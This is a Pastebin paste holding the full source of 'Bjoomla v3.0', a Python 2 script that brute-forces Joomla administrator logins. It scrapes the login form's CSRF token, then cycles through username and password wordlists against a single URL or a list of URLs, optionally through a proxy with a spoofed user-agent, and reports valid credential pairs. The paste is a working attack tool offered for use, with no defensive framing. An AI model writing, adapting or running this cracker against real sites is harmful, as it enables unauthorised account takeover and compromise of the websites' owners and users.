Advertisement
Guest User

Joomla Bruteforce | Nabilaholic404

a guest
Nov 23rd, 2013
1,039
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.17 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import sys
  4. import urllib2, urllib
  5. import cookielib
  6. import re
  7. from _abcoll import Container
  8.  
  9. #
  10. #functions
  11. #
  12.  
  13. def getToken(contentHtml):
  14.     reg = re.compile('<input type="hidden" name="([a-zA-z0-9]{32})" value="1"')
  15.     value = reg.search(contentHtml).group(1)
  16.     return value
  17.    
  18. def loadLst(fileName, lstName):
  19.     f = open(fileName, 'r')
  20.     for line in f:
  21.         lstName.append(line.replace('\r\n',''))
  22.     f.close()
  23.  
  24. if len(sys.argv) <= 1:
  25.     print 'Bjoomla v3.0 (c)2012 by Zonesec - a very fast logon Joomla Cracker - support all version'
  26.     print 'Website: http://www.zonesec.com'
  27.     print 'Mail   : zonesec@gmail.com'
  28.     print ''
  29.     print 'Syntax: python BJoomla [-u USER|-U FILE] [-p PASS|-P FILE] -h URL [OPT]'
  30.     print ''
  31.     print 'Options:'
  32.     print '-h URL'
  33.     print '-H Filename - URL list from file'
  34.     print '-U file contain list user'
  35.     print '-P file contain list password'
  36.     print '-u username'
  37.     print '-p password'
  38.     print '-v verbose mode / show login+pass combination for each attempt (no scroll)'
  39.     print '-vv verbose mode / show login+pass combination for each attempt'
  40.     print '-f continue after found login/password pair'
  41.     print '-g user-agent - default: "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"'
  42.     print '-x use proxy | ex: 127.0.0.1:1234'
  43.     print ''
  44.     print 'Examples: python Bjoomla.py -h http://test.com/administrator -u admin -P password.txt'
  45.     sys.exit()
  46.  
  47. print 'Bjoomla v3.0 (c)2012 by Zonesec - a very fast logon Joomla Cracker'
  48. print 'Website: http://www.zonesec.com'
  49. print 'Mail   : zonesec@gmail.com'
  50.  
  51. #
  52. #define variables
  53. #
  54.  
  55. print ""
  56.  
  57. url = ''
  58. urlLstFile = '/'
  59. wordlist = ''
  60. username = ''
  61. password = ''
  62. passFile = ''
  63. userFile = ''
  64. signal = 'type="password"'
  65. count = 0
  66. countAcc = 0
  67. mode = 1
  68. verbose = 0
  69. verboseX = 0
  70. useProxy = 0
  71. continues = 0
  72. agent = 'Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0'
  73. result = ""
  74.  
  75.  
  76. #
  77. #check argvs
  78. #
  79. for arg in sys.argv:
  80.     if arg == '-h':
  81.         url = sys.argv[count + 1]
  82.     if arg == '-H':
  83.         urlLstFile = sys.argv[count + 1]
  84.     elif arg == '-u':
  85.         username = sys.argv[count + 1]
  86.     elif arg == '-U':
  87.         userFile = sys.argv[count + 1]
  88.     elif arg == '-p':
  89.         password = sys.argv[count + 1]
  90.     elif arg == '-P':
  91.         passFile = sys.argv[count + 1]
  92.     elif arg == '-v':
  93.         verbose = 1
  94.     elif arg == '-s':
  95.         signal = sys.argv[count + 1]
  96.     elif arg == '-g':
  97.         agent = sys.argv[count + 1]
  98.     elif arg == '-x':
  99.         lstTmp = sys.argv[count+1].split(':')
  100.         proxyHandler = urllib2.ProxyHandler({lstTmp[0] : lstTmp[1]+':'+lstTmp[2]})
  101.         useProxy = 1
  102.     elif arg == '-f':
  103.         continues = 1
  104.     elif arg == '-vv':
  105.         verboseX = 1
  106.     count += 1
  107.  
  108.  
  109. if (len(username)>0 and len(password)>0):
  110.     mode = 1 #single
  111. elif (len(username)>0 and len(passFile)>0):
  112.     mode = 2 #
  113. elif (len(userFile)>0 and len(password)>0):
  114.     mode = 3
  115. elif (len(userFile)>0 and len(passFile)>0):
  116.     mode = 4
  117.  
  118. #
  119. #init opener
  120. #
  121. cookieJar = cookielib.CookieJar()
  122. cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
  123. if useProxy == 0:
  124.     opener = urllib2.build_opener(cookieHandler)
  125. else:
  126.     opener = urllib2.build_opener(proxyHandler,cookieHandler)
  127. opener.addheaders = [('User-agent', agent)]
  128. cookieJar.clear()
  129. cookieJar.clear_session_cookies()
  130.  
  131.  
  132. #
  133. #main
  134. #
  135.  
  136.  
  137. if urlLstFile != "/":
  138.     urlLst = open(urlLstFile,'r')
  139.     for url in urlLst:
  140.         url = url.strip('\r\n')
  141.         print '- Target: ' + url
  142.         try:            
  143.             response = opener.open(url)
  144.             content = response.read()
  145.             token = getToken(content)
  146.             print "- Token:" + token
  147.             print ''    
  148.             if mode == 1:
  149.                 values = {'username' : username,
  150.                               'passwd' : password,
  151.                               token : '1',
  152.                               'option' : 'com_login',
  153.                               'task' : 'login',
  154.                               'lang' : 'Default' }
  155.                 data = urllib.urlencode(values)
  156.                 response = opener.open(url+'/', data)
  157.                 strTmp = response.read()
  158.                 if strTmp.find(signal) < 0:
  159.                     countAcc += 1
  160.                     result += "username: " + username + "   password: " + password + "\n"
  161.                     print "Valid user--pass: " + username + " -- " + password
  162.        
  163.            
  164.            
  165.             if mode == 2:
  166.                 f = open(passFile,'r')
  167.                 for line in f:            
  168.                     password = line.strip('\n\r')
  169.                     values = {'username' : username,
  170.                               'passwd' : password,
  171.                               token : '1',
  172.                               'option' : 'com_login',
  173.                               'task' : 'login',
  174.                               'lang' : 'Default' }                    
  175.                     if verboseX == 1:
  176.                         print "Trying u--p     : " + username + " -- " + password
  177.                     elif verbose == 1:
  178.                         sys.stdout.write("Trying u--p     : " + username + " -- " + password + "                    " + "\r")
  179.                         sys.stdout.flush()        
  180.                     data = urllib.urlencode(values)
  181.                     try:
  182.                         response = opener.open(url+'/', data)
  183.                     except urllib2.URLError, e:
  184.                         continue
  185.                     strTmp = response.read()
  186.                     if strTmp.find(signal) < 0:
  187.                         countAcc += 1
  188.                         result += "username: " + username + "   password: " + password + "\n"
  189.                         print "Valid user--pass: " + username + " -- " + password                
  190.                         break;
  191.                  
  192.        
  193.        
  194.             if mode == 3:
  195.                 f = open(userFile,'r')
  196.                 for line in f:
  197.                     username = line.strip('\n\r')
  198.                     values = {'username' : username,
  199.                               'passwd' : password,
  200.                               token : '1',
  201.                               'option' : 'com_login',
  202.                               'task' : 'login',
  203.                               'lang' : 'Default' }
  204.                     if verboseX == 1:
  205.                         print "Trying u--p     : " + username + " -- " + password
  206.                     elif verbose == 1:
  207.                         sys.stdout.write("Trying u--p     : " + username + " -- " + password + "      \r")
  208.                         sys.stdout.flush()  
  209.                     data = urllib.urlencode(values)
  210.                     try:
  211.                         response = opener.open(url+'/', data)
  212.                     except urllib2.URLError, e:
  213.                         continue
  214.                     strTmp = response.read()
  215.                     if strTmp.find(signal) < 0:
  216.                         countAcc += 1                
  217.                         result += "username: " + username + "   password: " + password + "\n"
  218.                         print "Valid user--pass: " + username + " -- " + password                
  219.                         if continues == 0:
  220.                             break
  221.                         cookieJar.clear()
  222.                         cookieJar.clear_session_cookies()
  223.                         response = opener.open(url)
  224.                         content = response.read()
  225.                         token = getToken(content)
  226.                        
  227.                
  228.             if mode == 4:
  229.                 f = open(userFile,'r')
  230.                 f2 = open(passFile,'r')
  231.                 #passwordArr = f2.readlines()
  232.                 for line in f:
  233.                     username = line.strip('\n\r')
  234.                     f2.seek(0)
  235.                     for line2 in f2:
  236.                         token = getToken(content)        
  237.                         password = line2.strip('\n\r')
  238.                         values = {'username' : username,
  239.                                   'passwd' : password,
  240.                                   token : '1',
  241.                                   'option' : 'com_login',
  242.                                   'task' : 'login',
  243.                                   'lang' : 'Default' }
  244.                         if verboseX == 1:
  245.                             print "Trying u--p     : " + username + " -- " + password
  246.                         elif verbose ==1:
  247.                             sys.stdout.write("Trying u--p     : " + username + " -- " + password + "        \r")
  248.                             sys.stdout.flush()
  249.                         data = urllib.urlencode(values)
  250.                         try:
  251.                             response = opener.open(url+'/', data)
  252.                         except urllib2.URLError, e:
  253.                             continue
  254.                         strTmp = response.read()
  255.                         if strTmp.find(signal) < 0:
  256.                             countAcc += 1                    
  257.                             result += "username: " + username + "   password: " + password + "\n"
  258.                             print "Valid user--pass: " + username + " -- " + password                    
  259.                             if continues == 0:
  260.                                 raise;
  261.                             cookieJar.clear()
  262.                             cookieJar.clear_session_cookies()
  263.                             response = opener.open(url)
  264.                             content = response.read()
  265.                             token = getToken(content)
  266.                            
  267.                 f.close()
  268.                 f2.close()    
  269.                
  270.         except urllib2.URLError, e:
  271.             print "\n\t[!] Session Cancelled; Error occured. Check internet settings"
  272.             pass
  273.         except (KeyboardInterrupt):
  274.             print "\n\t[!] Session cancelled"
  275.             pass
  276.        
  277.         #Finish
  278.         print '                                                                 '
  279.         print '* RESULT:'              
  280.         print '- 1 target successfuly completed, '+ str(countAcc) +' valid username+password found '
  281.         print '- TARGER: ' + url
  282.    
  283.         print result        
  284.         result = ''
  285.         countAcc = 0
  286.         print '-----------------------------------------------------------------'    
  287.         print ''
  288.                
  289.     urlLst.close()
  290.     sys.exit()
  291.    
  292.  
  293.  
  294.  
  295.  
  296.  
  297. #
  298. #single Url
  299. #
  300.  
  301. try:
  302.     response = opener.open(url)
  303.     content = response.read()
  304.     token = getToken(content)
  305.     print "Token:" + token
  306.     print ''    
  307.     if mode == 1:
  308.         values = {'username' : username,
  309.                       'passwd' : password,
  310.                       token : '1',
  311.                       'option' : 'com_login',
  312.                       'task' : 'login',
  313.                       'lang' : 'Default' }
  314.         data = urllib.urlencode(values)
  315.         response = opener.open(url+'/', data)
  316.         strTmp = response.read()
  317.         if strTmp.find(signal) < 0:
  318.             countAcc += 1
  319.             result += "username: " + username + "   password: " + password + "\n"
  320.             print "Valid user--pass: " + username + " -- " + password
  321.  
  322.    
  323.    
  324.     if mode == 2:
  325.         f = open(passFile,'r')
  326.         for line in f:            
  327.             password = line.strip('\n\r')
  328.             values = {'username' : username,
  329.                       'passwd' : password,
  330.                       token : '1',
  331.                       'option' : 'com_login',
  332.                       'task' : 'login',
  333.                       'lang' : 'Default' }
  334.             if verboseX == 1:
  335.                 print "Trying u--p     : " + username + " -- " + password
  336.             elif verbose == 1:
  337.                 sys.stdout.write("Trying u--p     : " + username + " -- " + password + "                    " + "\r")
  338.                 sys.stdout.flush()        
  339.             data = urllib.urlencode(values)
  340.             try:
  341.                 response = opener.open(url+'/', data)
  342.             except urllib2.URLError, e:
  343.                 continue
  344.             strTmp = response.read()
  345.             if strTmp.find(signal) < 0:
  346.                 countAcc += 1
  347.                 result += "username: " + username + "   password: " + password + "\n"
  348.                 print "Valid user--pass: " + username + " -- " + password                
  349.                 break;
  350.          
  351.  
  352.  
  353.     if mode == 3:
  354.         f = open(userFile,'r')
  355.         for line in f:
  356.             username = line.strip('\n\r')
  357.             values = {'username' : username,
  358.                       'passwd' : password,
  359.                       token : '1',
  360.                       'option' : 'com_login',
  361.                       'task' : 'login',
  362.                       'lang' : 'Default' }
  363.             if verboseX == 1:
  364.                 print "Trying u--p     : " + username + " -- " + password
  365.             elif verbose ==1:
  366.                 sys.stdout.write("Trying u--p     : " + username + " -- " + password + "      \r")
  367.                 sys.stdout.flush()  
  368.             data = urllib.urlencode(values)
  369.             try:
  370.                 response = opener.open(url+'/', data)
  371.             except urllib2.URLError, e:
  372.                 continue
  373.             strTmp = response.read()
  374.             if strTmp.find(signal) < 0:
  375.                 countAcc += 1                
  376.                 result += "username: " + username + "   password: " + password + "\n"
  377.                 print "Valid user--pass: " + username + " -- " + password                
  378.                 if continues == 0:
  379.                     break
  380.                 cookieJar.clear()
  381.                 cookieJar.clear_session_cookies()
  382.                 response = opener.open(url)
  383.                 content = response.read()
  384.                 token = getToken(content)
  385.                
  386.        
  387.     if mode == 4:
  388.         f = open(userFile,'r')
  389.         f2 = open(passFile,'r')
  390.         #passwordArr = f2.readlines()
  391.         for line in f:
  392.             username = line.strip('\n\r')
  393.             f2.seek(0)
  394.             for line2 in f2:
  395.                 token = getToken(content)        
  396.                 password = line2.strip('\n\r')
  397.                 values = {'username' : username,
  398.                           'passwd' : password,
  399.                           token : '1',
  400.                           'option' : 'com_login',
  401.                           'task' : 'login',
  402.                           'lang' : 'Default' }
  403.                 if verboseX == 1:
  404.                     print "Trying u--p     : " + username + " -- " + password
  405.                 elif verbose ==1:
  406.                     sys.stdout.write("Trying u--p     : " + username + " -- " + password + "        \r")
  407.                     sys.stdout.flush()
  408.                 data = urllib.urlencode(values)
  409.                 try:
  410.                     response = opener.open(url+'/', data)
  411.                 except urllib2.URLError, e:
  412.                     continue
  413.                 strTmp = response.read()
  414.                 if strTmp.find(signal) < 0:
  415.                     countAcc += 1                    
  416.                     result += "username: " + username + "   password: " + password + "\n"
  417.                     print "Valid user--pass: " + username + " -- " + password                    
  418.                     if continues == 0:
  419.                         raise;
  420.                     cookieJar.clear()
  421.                     cookieJar.clear_session_cookies()
  422.                     response = opener.open(url)
  423.                     content = response.read()
  424.                     token = getToken(content)
  425.                    
  426.         f.close()
  427.         f2.close()    
  428.        
  429. except urllib2.URLError, e:
  430.     print "\n\t[!] Session Cancelled; Error occured. Check internet settings"
  431.     pass
  432. except (KeyboardInterrupt):
  433.     print "\n\t[!] Session cancelled"
  434.     pass
  435.  
  436. #Finish
  437. print '-----------------------------------------------------------------'      
  438. print '- 1 target successfuly completed, '+ str(countAcc) +' valid username+password found '
  439. print '- TARGER: ' + url
  440. print '- RESULT:'        
  441. print result
  442. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement